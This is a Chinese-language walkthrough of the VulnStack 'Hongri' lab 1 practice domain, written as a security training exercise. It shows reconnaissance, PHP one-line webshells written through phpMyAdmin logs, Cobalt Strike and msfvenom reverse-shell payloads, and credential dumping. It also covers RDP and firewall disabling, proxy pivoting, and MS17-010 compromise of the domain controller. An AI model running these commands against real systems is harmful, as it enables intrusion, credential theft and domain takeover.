红日靶场一
红日靶场(一)
1.环境搭建
1. 实验环境拓扑如下:
三台虚拟机的初始密码都是: hongrisec@2019,(开机提示密码已过期,更改为 hongri@123 即可)
拓扑结构如下:

Web服务器是win7虚拟机,其他两台虚拟机是域内成员,一台作为DC。
下面用“一张图、一条时间线、一个比喻、一张命令表”四件套,拆解“工作组/域/DC”
一、一张图(逻辑拓扑)
┌--------┐
│ 用户A │──┐
└--------┘ │ 工作组(Workgroup)
┌--------┐ │ 每台电脑自己说了算
│ 用户B │──┘
└--------┘
↑
│ 想互访:必须知道对方电脑上的账号密码
│ 没有“老大”,没有统一账本
▼
┌-------------------------┐
│ 域(Domain) │
│ 统一名字叫 corp.com │
└-------------------------┘
↑ ↑ ↑
统一账号 │ │ │
统一策略 │ │ │
│ │ │
┌--------┴┐ ┌--┴----┐ ┌--┴----┐
│ DC-1 │ │ DC-2 │ │ DC-3 │ ← 域控制器(DC)
│ 账本1 │ │ 账本2 │ │ 账本3 │ 互为副本,一起说了算
└---------┘ └-------┘ └-------┘
二、一条时间线(从开机到访问共享)
-
工作组方式
① 开机 → ② 电脑读本地 SAM → ③ 输入本机账号 → ④ 进桌面 →
⑤ 打开 \PC2\共享 → ⑥ 弹出框:输入 PC2 的账号密码 → ⑦ 能访问 -
域方式
① 开机 → ② 电脑找 DNS 问:谁是 DC? → ③ DNS 返回 DC-1 地址 →
④ 输入“域账号 david” → ⑤ DC-1 验 Kerberos 票 → ⑥ 进桌面 →
⑦ 打开 \FileServer\共享 → ⑧ 自动带票,不再输密码 → ⑨ 直接访问
一句话:工作组“每台自己验”,域“找老大验”。
三、一个比喻(公司 vs 菜市场)
工作组 = 菜市场
- 每个摊主自己收钱、自己记账。
- 你去 A 摊位,必须带 A 摊主要求的零钱;去 B 摊位,再换另一套零钱。
- 没有总经理,谁也别管谁。
域 = 正规连锁超市
- 所有收银员归总部(DC)培训,统一用 POS 机刷会员卡。
- 你办一张会员卡,可在任意门店购物、积分、打折。
- 总部每天把销售数据同步到所有门店(多主复制)。
四、一张命令表
| 你想做的事 | 工作组命令 | 域命令 | 备注 |
|---|---|---|---|
| 看自己是工作组还是域 | systeminfo | findstr /i “域” | 同上 |
| 加入/退出工作组 | 图形界面或 wmic computersystem where name="%computername%" call joindomainorworkgroup name=新工作组 |
图形界面或 Add-Computer -DomainName corp.com |
工作组随意进出;域必须知道域管账号 |
| 看本地账号 | net user |
net user |
域电脑也有本地账号,但登录时优先域账号 |
| 看域账号 | 无 | net user /domain 或 Get-ADUser -Filter * |
工作组根本没域账号 |
| 看谁是 DC | 无 | nltest /dclist:crop 或 nslookup -type=srv _ldap._tcp.dc._msdcs.corp.com |
工作组无 DC |
五、30 秒速答
同事:工作组和域到底差在哪?
你:工作组像各自回家自己做饭,域像公司食堂——想吃就得先刷卡(DC 认证),吃完还得遵守食堂规矩(GPO)。
同事:DC 挂了呢?
你:食堂窗口关一个没事,还有别的窗口(额外 DC);全关就全公司饿肚子(域瘫)。
六、一句话总结
工作组:无中心,各管各,账号存在本机。
域:有中心,先找 DC,账号存在 AD,策略统一下发。
| 维度 | 工作组(Workgroup) | 域(Domain) |
|---|---|---|
| 规模 | ≤20 台电脑的小网最舒服 | 几十到上万台都能管 |
| 中央账号 | 无,每台本机 SAM 自己管 | 有,AD(Active Directory)统一账号库 |
| 登录验证 | 本机验证 | 域控制器(DC)验证 |
| 权限策略 | 每台机各自设共享、配额、NTFS 权限 | 用 GPO 统一下发,一次配置全网生效 |
| 信任关系 | 两两平等,互不信任 | 客户端信任 DC,DC 间可建林/树/父子域信任 |
| 名字空间 | 只是“网络邻居”里一个标签 | 有 DNS 后缀,形成完整域名空间 |
| 资源发现 | 依赖 NetBIOS 广播,容易找不到机器 | DNS+AD 站点,跨子网也能精准定位 |
| 高可用 | 无,谁关机谁消失 | 多台 DC 自动做复制、容错 |
| 典型协议 | SMB/NetBIOS | Kerberos、LDAP、DNS、SMB |
| 成本 | 0 元,Windows 家庭版都能建 | 至少一台 Windows Server + CAL 费用 |
2. 下载好镜像文件
下载地址: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
3. 网卡配置
需要模拟内网和外网两个网段,先在VMware中配置两张网卡

Win7 虚拟机:相当于边界服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网。将 Win7 的网络适配器 1 设置成 NAT 模式(外网),网络适配器 2 设置成 VMnet1 仅主机模式(内网)。添加网络适配器如下图

Winserver 2008(DC)和win2k3网络(域成员):都使用网卡1仅主机模式

1 | kali:(攻击机 外:192.168.38.138) |
4. win7上开启phpstudy

2. 外网信息收集
1. 网络存活主机发现 (ARP Ping Scan)
sudo nmap -sn -PR 192.168.38.0/24
- -sn: 禁用端口扫描,只进行主机发现。
- -PR: 使用 ARP 请求进行发现。在本地局域网中,ARP 比 ICMP Ping 更可靠、更快,且无法被防火墙阻止。
- 使用场景:在取得内网访问权限后,快速、准确地绘制本地网段的存活主机地图。

靶机地址:192.168.38.153
2. 综合信息收集扫描 (Stealth SYN + Service + OS)
nmap -sS -sV -O --top-ports 1000 -T4 192.168.38.153
- -sS: TCP SYN (半开放) 扫描。发送 SYN 包,收到 SYN/ACK 则认为端口开放,但不完成三次握手,速度快且隐蔽。
- -sV: 版本探测。向开放端口发送特定探测报文,根据响应指纹识别服务及其版本号。
- -O: 操作系统检测。通过分析 TCP/IP 协议栈指纹来猜测目标操作系统。
- –top-ports 1000: 扫描 Nmap 数据库中概率最高的 1000 个端口,在速度和信息收集量之间取得最佳平衡。
- -T4: 设置时序模板为 4 (Aggressive),加快扫描速度。
- 使用场景:对目标进行初步但全面的侦查,获取端口、服务、版本和操作系统等核心信息,为后续攻击提供方向。

开放80和3306端口,已经具体的版本信息
3. 全端口扫描 (Full Port Scan)
nmap -sS -p- --min-rate 5000 -T4 -Pn 192.168.38.153
- -p-: 扫描所有 65535 个端口。
- –min-rate 5000: 指示 Nmap 每秒至少发送 5000 个包。这是极重要的优化参数,可大幅提升扫描速度。
- -Pn: 跳过主机发现,将所有主机视为在线。在对单一目标进行全端口扫描时使用,避免发现阶段浪费时间。
- 使用场景:在需要彻底排查目标开放端口时使用,常用于攻击面较小的关键服务器,以发现隐藏的、非标准的管理端口或后门。

4. HTTP 服务深度枚举
nmap -p 80,443,8080,8443 --script http-enum,http-headers,http-security-headers -sV 192.168.38.153
- –script http-enum: 基于字典枚举 Web 目录和文件(如 /admin, /phpmyadmin)。
- –script http-headers: 获取 HTTP 响应头,分析服务器、框架、Cookie 等信息。
- –script http-security-headers: 检查缺失的安全头(如 CSP, HSTS, X-Frame-Options)。
- 使用场景:对 Web 服务器进行快速配置审计和敏感路径发现,寻找攻击入口。

5. NSE 漏洞脚本扫描
nmap -sV --script vuln -p 80,443,445 192.168.38.153
- –script vuln: 调用所有分类为 “vuln” (漏洞) 的 NSE 脚本。这些脚本会检查目标是否存在已知的公开漏洞。
- -p 80,443,445: 限制扫描端口,只对最可能存在漏洞的服务进行检测,提高效率。
- 使用场景:快速对目标进行漏洞筛查,寻找容易利用的弱点 (low-hanging fruit)。常用于时间紧迫的评估或大规模资产初筛。

3. 后台模板文件中写入webshell
访问http://192.168.38.153/yxcms/

根据首页信息访问登录后台

在前台模板——acomment.php 中写入webshell

使用御剑进行后台目录扫描

访问/robots.txt路径找到模板文件路径,存在目录遍历漏洞:
http://192.168.38.153/yxcms/protected/apps/default/view/default/

使用蚁剑进行连接

4. phpmyadmin后台getshell
弱口令登录到phpmyadmin,http://192.168.38.153/phpmyadmin/

1 通过select into outfile
show global variables like '%secure_file_priv%';
写入一句话木马
select '<?php @eval($_POST[pass]);>' INTO OUTFILE 'c:/xx/WWWW/shell.php';
1 | 条件: |

显示为NULL无法利用
2 通过日志文件写webshell
1 | 条件: |
查看当前日志文件:
show variables like '%general%';

开启日志记录:
set global general_log = 'ON';

更改日志文件路径:
set global general_log_file = 'C:/phpStudy/WWW/yxcms/shell.php';

往日志文件中写入一句话木马:
select '<?php @eval($_POST[pass]);?>';

连接成功

3 慢查询日志写入
记录所有执行时间超过字段long_query_time规定时间的所有查询或不适用索引的查询。long_query_time值为10秒
1 | 条件: |
查看日志文件是否开启
show global variables like '%slow%';

开启全局日志功能
set global slow_query_log = 'on';

更改慢查询日志文件路径
set global slow_query_log_file = 'C:/phpStudy/WWWW/yxcms/shell2.php';

往日志中写入一句话木马(使用sleep函数触发long_query_time)
select '<?php @eval($_POST[pass]);?>' or sleep(12);

写入成功

4 创建数据库和表写入webshell
1 | 条件: |
5. 内网
1 内网信息收集
whoami查看当前账号信息
systeminfo查看系统信息

1 | ipconfig /all # 查看本机ip,所在域 |
2 上线cs
新建监听器

生成windows后门

上传并运行,主机上线

1 一键提权(svc-exe)提权至 system 用户

2 获取密码凭证
beacon 控制台中执行 logonpasswords ,随后在“视图菜单-密码凭证” 子菜单,查看服务器的所有用户的账户密码:

3 连接远程桌面
查看远程桌面控制 (RDP) 3389 端口是否启用:shell netstat -ano | findstr 3389

显示为空行,说明未启用,使用此命令开启 RDP:shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
执行完再次验证

使用kali工具remmina进行远程连接(sudo apt install remmina)
用户名:god/administrator,密码:hongti@123

显示连接失败,使用nmap查看3389端口状态:nmap -Pn -n -p 3389 192.168.38.153,端口为 filtered 被过滤状态,说明可能存在防火墙拦截,检查防火墙状态:shell netsh advfirewall show allprofiles

可见防火墙是打开状态,同时策略:BlockInbound,AllowOutbound,拦截了入站数据
尝试关闭防火墙:shell netsh advfirewall set allprofiles state off或者单独放行RDP流量:netsh advfirewall firewall add rule name="ALLOW Remote Desktop" action=all air=in protocol=TCP localport=3389

成功关闭防火墙,再次尝试连接,

成功连接

4 端口扫描


5 内网横向
端口扫描的时候发现开放了445端口,可以创建SMB监听隧道。
SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。
SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。


S-1-5-21-2952760202-1353902439-2381784089-500 aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

3 msf
1 msf上线主机
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.38.138 LPORT=5566 -f exe -o shell.exe

成功上线

2 提权
当前是administrator用户,所以很容易提权

3 代理


SRVHOST 不是 autoroute 配置的参数,二者属于 MSF 中不同功能模块的独立配置,作用完全不同。
一、 核心区别:SRVHOST vs autoroute
| 配置项 | 所属模块 | 作用 | 配置值来源 |
|---|---|---|---|
SRVHOST |
auxiliary/server/socks_proxy(SOCKS代理模块) |
指定攻击机本地监听 SOCKS 连接的网卡地址 | 攻击机的 IP 或 0.0.0.0(监听所有网卡) |
autoroute |
post/multi/manage/autoroute(路由模块) |
基于 Meterpreter 会话,为 MSF 添加内网路由 | 目标内网的子网(如 192.168.52.0/24) |
二、 SRVHOST 的具体含义
当前配置的 SRVHOST 0.0.0.0 表示:
- SOCKS 代理服务会在攻击机的所有网卡上监听
SRVPORT 1080端口; - 攻击者的工具(如
proxychains)可以通过攻击机的任意 IP 连接这个 SOCKS 代理,进而访问autoroute配置的内网网段。
举个例子:
- 攻击机 IP:
192.168.38.138 autoroute配置了目标内网192.168.52.0/24SRVHOST 0.0.0.0+SRVPORT 1080启动 SOCKS 代理后,你在攻击机上配置proxychains指向127.0.0.1:1080,就能让nmap/ssh等工具通过代理访问192.168.52.0/24网段。
三、 关键关联:SOCKS 代理 + autoroute 才能访问内网
这两个模块是协同工作的,缺一不可:
autoroute:解决 MSF “怎么到达内网” 的问题(通过 Meterpreter 会话作为网关);socks_proxy:解决 “怎么让外部工具用这个路由” 的问题(提供 SOCKS 代理接口)。
四、 正确配置步骤(衔接之前的内网环境)
1 | # 1. 确保已经通过 autoroute 添加了内网路由(如 192.168.52.0/24) |
五、无论 SRVHOST 填 0.0.0.0 还是 Kali 具体 IP,都不影响 autoroute 配置的内网路由 ——SOCKS 代理只是转发流量,而 autoroute 负责指引流量如何到达内网。
1 | proxychains 配置对应: |
总结
SRVHOST填的是攻击机的监听地址,和autoroute配置的内网子网无关;- 只要
autoroute正确添加了内网路由,且 SOCKS 代理正常运行,就能通过代理访问内网。
4 内网信息收集
使用fscan进行内网

域控机器为windows2008
proxychains4 nmap -sT --min-rate 10000 -p- 192.168.52.138

5 权限维持
权限维持就是要将进程进行迁移,将我们的shell.exe的进程附加在系统进程上


run post/windows/manage/migrate 会自动会寻找指定的进程然后迁移
6 收集凭据
hashdump

7 哈希传递攻击拿下域控

使用exploit/windows/smb/psexec模块进行哈希传递攻击

失败
使用admin/smb/ms17_010_command拿下域控(192.168.52.141)
修改注册表开启3389:set COMMAND REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f":

关闭防火墙:set COMMAND REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
参考:
https://www.cnblogs.com/hellobao/articles/17253635.html
https://blog.lololowe.com/posts/bb48/#04beb8bdb24645948da5030a01e78f1b
感谢壁纸:https://haowallpaper.com/